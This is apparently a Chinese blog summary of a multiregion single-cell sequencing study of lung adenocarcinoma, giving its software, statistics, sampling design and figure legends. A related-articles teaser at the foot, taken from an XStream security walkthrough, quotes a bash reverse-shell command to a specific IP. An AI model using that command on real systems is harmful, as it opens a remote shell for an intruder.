IF 33.3+ 通過多區域單細胞測序解析肺腺癌的空間和細胞結構



通過多區域單細胞測序解析肺腺癌的空間和細胞結構

摘要

對于肺腺癌演進過程中單個細胞群的地理空間架構知之甚少。在此,我們對來自5例早期LUAD和14個來自腫瘤的具有明確空間鄰近性的多區域正常肺組織的186,916個細胞進行了單細胞RNA測序。我們發現細胞譜系、狀態和轉錄組特征在正常區域到LUAD的地理空間上發生了演變。LUAD還表現出單個部位內顯著的腫瘤內細胞異質性以及轉錄譜系可塑性程序。與腫瘤鄰近的正常組織中調節性T細胞表型增加,而細胞毒性CD8+T細胞、抗原呈遞巨噬細胞和炎癥樹突狀細胞的特征和比例則減少。我們還發現LUAD配體-受體相互作用組中上皮CD24的表達增加,其介導了促腫瘤表型。這些數據提供了LUAD演進的空間圖譜,并為識別其治療靶點提供了資源。

數據收集

LUAD patient

軟件使用

軟件包信息

軟件名稱

版本

類型

應用領域

官方鏈接

NovaSeq 6000

-

測序平臺

高通量測序

illumina.com

10X Genomics

-

單細胞平臺

單細胞測序

10xgenomics.com

Seurat

-

R包

單細胞分析

satijalab.org/seurat

Seurat v3

-

R包

單細胞分析

satijalab.org/seurat

Harmony

-

R包

批次校正

github.com

Monocle 2

2.10.1

R包

擬時序分析

bioconductor.org

平臺與工具關系

graph LR
A[NovaSeq 6000] -->|生成數據| B[10X Genomics]
B -->|CellRanger處理| C[Seurat]
C -->|整合分析| D[Harmony]
C -->|軌跡分析| E[Monocle 2]

統計方法信息

參數檢驗

非配對Student's t檢驗 (Unpaired Student's t-test)

  • 核心假設

    • 正態性(Shapiro-Wilk檢驗p>0.05)

    • 方差齊性(Levene檢驗p>0.05)

    • 觀測獨立性

  • R語言實現

    # 標準t檢驗(方差齊)
    t.test(value ~ group, data, var.equal =?TRUE)# Welch校正(方差不齊)
    t.test(value ~ group, data, var.equal =?FALSE)

實驗驗證方法

多區域樣本采集與處理

目的

解析肺腺癌瘤內異質性和微環境特征

實驗設計

  • 樣本類型

    • 腫瘤核心區(≥3個解剖位置)

    • 腫瘤-正常交界區

    • 遠端正常肺組織(距腫瘤>5cm)

  • 采樣規范

    graph TDA[手術切除] --> B(30分鐘內處理)B --> C{分區取樣}C --> D[腫瘤中心]C --> E[浸潤邊緣]C --> F[遠端正常]

研究成果

通過多區域單細胞RNA測序剖析早期肺腺癌及周圍肺部生態系統

A 展示了針對5個肺腺癌樣本和14個具有明確空間定位的正常肺組織,采用多區域采樣策略進行單細胞RNA測序分析的流程圖。

B 來自患者一的腫瘤樣本、鄰近正常樣本和遠端正常樣本的細胞的均勻流形逼近與投影嵌入圖。

C 每個空間樣本中細胞的絕對數量組成和相對比例分別來自P1。

D 來自所有5名患者的細胞的UMAP視圖,包括P2-P5中的EPCAM+和EPCAM-前富集細胞。

E 基于空間樣本的細胞類型及其比例的UMAP視圖。

F 顯示基于使用轉錄組特征計算的歐幾里得距離的空間樣本中細胞之間層次關系的樹狀圖。

G 與圖D中相同的UMAP,還包括淋巴細胞和髓細胞的進一步分層。

H-I 折線圖展示了所有患者總體以及按患者劃分的各空間樣本中EPCAM陰性子集的相對比例變化情況。

早期肺腺癌空間生態系統中的上皮細胞譜系多樣性及腫瘤內異質性

A、所有EPCAM+細胞的UMAP圖形展示。

B、EPCAM+細胞簇的主要譜系標記基因熱圖,同時附有相應的條形圖,用于說明不同空間樣本中的比例情況。

C、顯示不同空間樣本中EPCAM+子集比例變化的面積圖。

D、基于計算的歐幾里得距離使用轉錄組特征對空間樣本中的3個代表性上皮細胞子集之間的層次關系進行展示,以及相應量化空間樣本之間相似度水平的熱圖。

E、惡性富集簇C9中細胞的UMAP圖形,按其對應的患者來源、空間樣本和CNV分數進行著色。

F、攜帶KRAS G12D突變的細胞比例,數字表示絕對細胞數量,以及表達水平。

G、通過使用NK細胞作為對照,對來自患者P3和P5腫瘤樣本的CNV路徑圖進行無監督聚類分析

H、通過Monocle 3分析推斷出P3和P5中EPCAM+細胞的潛在發育軌跡。

早期肺腺癌中淋巴細胞亞群向腫瘤相關表型的時空重編程

A、對P1-P5時期淋巴細胞亞群進行的UMAP可視化處理,按細胞譜系和空間樣本進行著色。

B、氣泡圖展示譜系標志物的表達情況。

C、在LUAD和空間正常樣本中淋巴細胞譜系及細胞狀態的變化情況。

D、對CD8+T淋巴細胞進行UMAP可視化處理,按細胞狀態、空間樣本和細胞毒性評分進行著色

E、在肺癌組織微環境中清除CD8+GNLY高表達的CTL細胞。

F、CD4 T淋巴細胞的UMAP圖。

G、在LUAD的腫瘤微環境中CD4+T調節細胞的富集情況。

早期肺癌組織微環境中抗原呈遞和炎癥性樹突狀細胞的特征顯著減少

A 早期LUADA微環境中抗原呈遞和炎癥樹突細胞的特征減少,髓系細胞譜系的UMAP可視化圖以及空間樣本。

B 圖展示髓系細胞表達譜系特異性標記基因的百分比以及它們的縮放表達水平)。

C 圖顯示LUAD及空間正常肺樣本中髓系細胞亞群的豐度變化。

D 圖是單核細胞和巨噬細胞亞群的UMAP圖,按細胞類型/狀態、空間樣本和抗原呈遞評分進行顏色編碼。

E 圖顯示空間樣本中表達抗原呈遞基因的M2型巨噬細胞簇1的百分比及其縮放表達水平。

F 圖是脊線圖。在M2型巨噬細胞簇1中以及在LUAD樣本和空間正常肺樣本中,MHC類I和MHC類 II基因表達密度的分布情況如下。

G 箱線圖展示了所有患者以及患者內部在LUAD和空間正常肺樣本中M2型巨噬細胞的抗原呈遞評分。

H 樹突狀細胞的UMAP圖,根據細胞狀態進行顏色編碼和空間樣本。

I UMAP圖顯示cDC2細胞的無監督子聚類,根據簇ID進行著色、空間樣本以及計算出的炎癥特征評分。

J 顯示cDC2細胞亞群標記基因的標準化表達的熱圖。

K 氣泡圖顯示表達炎癥和非炎癥特征基因的cDC2細胞的百分比以及其縮放表達水平。

L 顯示了細胞中炎癥特征評分在來自cDC2集群C2的TME中的表達情況的維尼圖圖示。

M 展示了cDC2 C2細胞在總cDC2細胞中的比例以及在LUAD和空間正常肺組織中的分布情況的箱線圖。

N 展示了正常肺、癌前不典型腺瘤樣增生以及來自獨立隊列的LUAD中的炎癥特征評分

增強的配體-受體細胞-細胞間通訊網絡在肺腺癌細胞與其免疫微環境之間

A. 利用iTALK進行細胞間通訊的計算分析工作流程。

B. 熱圖顯示了基于預測的配體-受體相互作用在個體LUAD與相應空間分布的正常肺組織之間的重疊情況。

C-F. 代表性的環形圖展示了患者2、3、4和5的免疫檢查點介導的L-R對之間的詳細比較。

G-H. 條形圖顯示了涉及免疫檢查點的配體和受體基因的表達。

與肺腺癌中CD24增多相關的促腫瘤表型

A、箱線圖展示在一組獨立的正常肺組織、癌前不典型腺瘤樣增生以及肺腺癌樣本中CD24表達水平的情況

B、使用皮爾遜相關系數繪制的散點圖,展示NL、AAH和LUAD樣本中CD24與EPCAM和PRF1的水平關系。

C、箱線圖描繪了TCGA LUAD隊列中LUAD和匹配的正常肺組織中CD24表達水平

D、使用皮爾遜相關系數展示CD24與EPCAM或PRF1表達之間的相關性散點圖。

E、通過靶向免疫分析對早期LUAD患者進行分析,并根據中位CD24 mRNA表達進行二分

F、散點圖展示使用皮爾遜相關系數展示CD24與EPCAM、PRF1或細胞毒性評分在MDACC隊列中的表達相關性。

G、顯示相對較高和較低免疫組化CD24染色的代表性圖像。

H、體內MDA-F471細胞的生長情況

Reference

Sinjab A, et al. Resolving the Spatial and Cellular Architecture of Lung Adenocarcinoma by Multiregion Single-Cell Sequencing. Cancer Discov. 2021 Oct;11(10):2506-2523. doi: 10.1158/2159-8290.CD-20-1285. Epub 2021 May 10. PMID: 33972311; PMCID: PMC8487926.

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95214.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95214.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95214.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【Redis的安裝與配置】

一:下載 Redis ? 百度網盤分享 👉 https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ? 從Github下載 👉 https://github.com/MicrosoftArchive/redis/releases 二:安裝 Redis 1?? 將下載的壓縮包文件 解壓到 某個文…

TDSQL GTS文件說明

基于時間點恢復:全備xlogGTS文件 在TDSQL的備份恢復體系中,GTS文件是全局時間戳(Global Timestamp)的存儲載體,用于記錄事務在分布式環境中的精確執行順序和時間點 其核心作用體現在以下方面: 1?。時間基準…

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析 全星研發項目管理APQP軟件系統是專為汽車零部件行業打造的數字化研發管理平臺,通過深度集成行業核心工具鏈,實現從產品設計到量產的全程可控。以下為該系統在汽車零部件行業的應用解析&#xf…

網絡通信安全:HTTPS協議的密碼學基石

引言:從HTTP到HTTPS的安全升級 在網絡通信中,數據傳輸的安全性至關重要。早期的HTTP協議采用明文傳輸,存在三大安全隱患: 機密性問題:數據在傳輸過程中可能被竊聽(如公共Wi-Fi中的監聽)&#xf…

pip 和 conda,到底用哪個安裝?

為什么 pip 有時裝不下來而 --prefer-binary 可以?什么是源代碼發行版?什么是輪子?conda 和 pip 有什么區別?優先用誰啊?兩者適合的場景(何時用哪個)安裝路徑:pip / conda 分別裝到哪…

bert學習

首先了解一下幾種embedding。比如elmo就是一個embedding模型。one-hot編碼只能實現one word one embedding,而我們的elmo能實現one token one embeddingElmo是基于雙向LSTM,所以每個詞其實會有正向和反向兩個預測結果,那么我們用哪個呢&#…

Java安全-組件安全

一、Xstream啟動環境并訪問接下來我們構造反彈shell語句,bash -i >& /dev/tcp/8.152.2.86/9999 0>&1,緊接著對其進行base64編碼。接下來使用命令即可首先開啟監聽接下來執行命令接下來抓包對其進行payload構造即可緊接著回去查看回顯發現成…

【10】微網優聯——微網優聯 嵌入式技術一面,校招,面試問答記錄

微網優聯——微網優聯 嵌入式技術一面,校招,問答記錄 1. 2 分鐘簡單自自我介紹2. 問一遍筆試題目3. IP地址在哪個層4.手動配置過IP地址嗎?要配哪幾個?5. ARP 是域名找IP地址還是IP地址找域名?6. Linux、計算機網絡、操作系統掌握的怎么樣&a…

C#使用EPPlus讀寫Excel

依賴EPPlus 獲取依賴可以閱讀:Nuget For Unity插件介紹_nugetforunity-CSDN博客 可以參閱該篇快速入門:在Unity中使用Epplus寫Excel_unity epplus-CSDN博客 下面是我封裝的幾個方法: 要在合適的時機配置許可證,比如你的工具類的靜態函數.建議使用版本7.7.1 #region Excel封裝,…

高性能Web服務器

一、Web服務基礎介紹 1.1、互聯網發展歷程 1993年3月2日,中國科學院高能物理研究所租用AT&T公司的國際衛星信道建立的接入美國SLAC國家實驗室的64K專線正式開通,成為我國連入Internet的第一根專線。 1995年馬云開始創業并推出了一個web網站中國黃…

《算法導論》第 16 章 - 貪心算法

大家好!今天我們來深入探討《算法導論》第 16 章的核心內容 —— 貪心算法。貪心算法是一種在每一步選擇中都采取在當前狀態下最好或最優(即最有利)的選擇,從而希望導致結果是全局最好或最優的算法。它在許多優化問題中都有廣泛應…

Redis面試精講 Day 18:Redis網絡優化與連接管理

【Redis面試精講 Day 18】Redis網絡優化與連接管理 開篇 歡迎來到"Redis面試精講"系列第18天,今天我們將深入探討Redis網絡優化與連接管理技術。在分布式系統中,Redis的網絡性能和連接管理直接影響整個系統的響應速度和穩定性。掌握這些優化…

Centos8系統在安裝Git包時,報錯:“沒有任何匹配: git”

報錯類型: sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…

glide緩存策略和緩存命中

一 緩存策略 1 Glide 的 diskCacheStrategy() 一共有 5 種枚舉值(DiskCacheStrategy),每種的作用和區別如下:1. DiskCacheStrategy.ALL 作用:同時緩存原始圖片(原圖數據)和經過變換(…

如何將PDF文檔進行高效編輯處理!

PDF文件可以在任何設備上以相同的格式查看,無論操作系統或軟件環境如何,可以確保修改后的文檔仍然保持原有的布局和格式。它完全免費,下載后雙擊即可運行,無需安裝,使用非常方便。它具備出色的文本編輯功能&#xff0c…

應用層模擬面試題

模擬面試-C第一題(開發音視頻處理模塊)在開發音視頻處理模塊時,FFmpeg資源(AVFrame*)需要自動釋放。如何用unique_ptr定制刪除器替代手動av_frame_free()?寫出代碼并解釋RAII優勢。參考答案:auto frame_deleter[](AVFr…

分享一款基于STC8H8K32U-45I-LQFP48單片機的4路數字量輸入輸出模塊

4路數字量輸入輸出模塊產品說明產品特性輸入部分: 4路光耦隔離數字量輸入通道支持NPN和PNP兩種輸入方式,可通過撥碼開關切換輸入電壓范圍:10-30VDC典型應用:可連接按鈕開關、接近開關、光電傳感器等數字信號設備輸出部分&#xff…

redis常見的性能問題

Redis 的性能問題通常源于配置不當、數據結構誤用、資源瓶頸或架構缺陷。以下是 Redis 常見的性能問題及優化方案,結合線上經驗整理:🧠 ?一、內存相關問題??1. 內存不足(OOM)???現象?:OOM errors、響…

Blender 基礎操作

基礎操作 一、視角控制 ①旋轉視角 : 拖動鼠標中鍵 ②平移視角 : shift 鼠標中鍵 ③放大\縮小 :鼠標滾輪 二、物體控制 1、重要 ① 移動物體 : G ② 旋轉物體 : R ③ 縮放物體 : S 2、不重要 ④ 新建物體 : shift A ⑤ 復制物體 : shift D…

Go 語言三大核心數據結構深度解析:數組、切片(Slice)與映射(Map)

🚀Go 語言三大核心數據結構深度解析:數組、切片(Slice)與映射(Map) 在 Go 語言的開發領域,數組、切片與映射 這三大核心數據結構猶如構建程序的基石,支撐著各類數據的存儲與處理。它…